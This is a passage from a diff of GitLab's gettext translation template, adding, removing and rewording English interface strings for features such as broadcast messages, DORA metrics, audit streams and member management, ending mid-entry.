@@ -4568,6 +4595,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4708,9 +4747,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4799,6 +4835,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -4935,6 +4974,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5482,6 +5524,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5497,12 +5542,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7070,9 +7121,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7668,6 +7803,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7779,13 +7917,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8066,6 +8201,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8225,12 +8363,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8414,6 +8546,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8538,6 +8673,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8640,12 +8778,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9310,21 +9454,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9812,6 +9941,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10700,6 +10832,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11093,6 +11228,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11988,6 +12126,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12012,6 +12153,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12024,7 +12168,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12045,6 +12192,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12066,6 +12219,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12084,6 +12243,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12105,6 +12273,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12114,6 +12288,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12129,9 +12306,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13048,11 +13222,9 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13114,6 +13286,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13492,9 +13667,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13510,6 +13691,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -13860,7 +14053,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14085,6 +14278,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14572,6 +14768,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15769,10 +15968,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15781,9 +15977,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16280,9 +16473,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16316,9 +16506,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16636,9 +16823,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17063,9 +17247,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17384,16 +17565,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17490,6 +17668,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18146,9 +18327,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18561,6 +18739,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18573,6 +18754,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18597,6 +18784,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18615,6 +18805,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18627,9 +18820,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -18954,6 +19153,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19116,7 +19321,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19599,9 +19804,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19656,6 +19867,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19665,6 +19879,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19674,6 +19894,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19791,6 +20014,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20098,6 +20324,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20512,9 +20744,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20536,6 +20765,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20754,12 +20986,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -21817,7 +22061,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -21878,9 +22122,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22031,6 +22284,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23232,6 +23488,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23280,6 +23539,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23424,9 +23686,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23742,9 +24001,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -23903,9 +24159,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24038,6 +24291,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24107,9 +24363,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -24857,6 +25110,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -24872,9 +25128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -24974,6 +25227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25043,9 +25299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25058,9 +25311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25400,6 +25650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25435,6 +25688,9 @@ msgstr[0] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25444,6 +25700,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25465,10 +25736,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25477,9 +25748,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25507,6 +25784,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25534,6 +25814,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25819,10 +26105,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -25882,6 +26171,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26307,6 +26599,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26703,6 +27001,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26727,6 +27028,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26736,6 +27040,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -26869,6 +27188,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
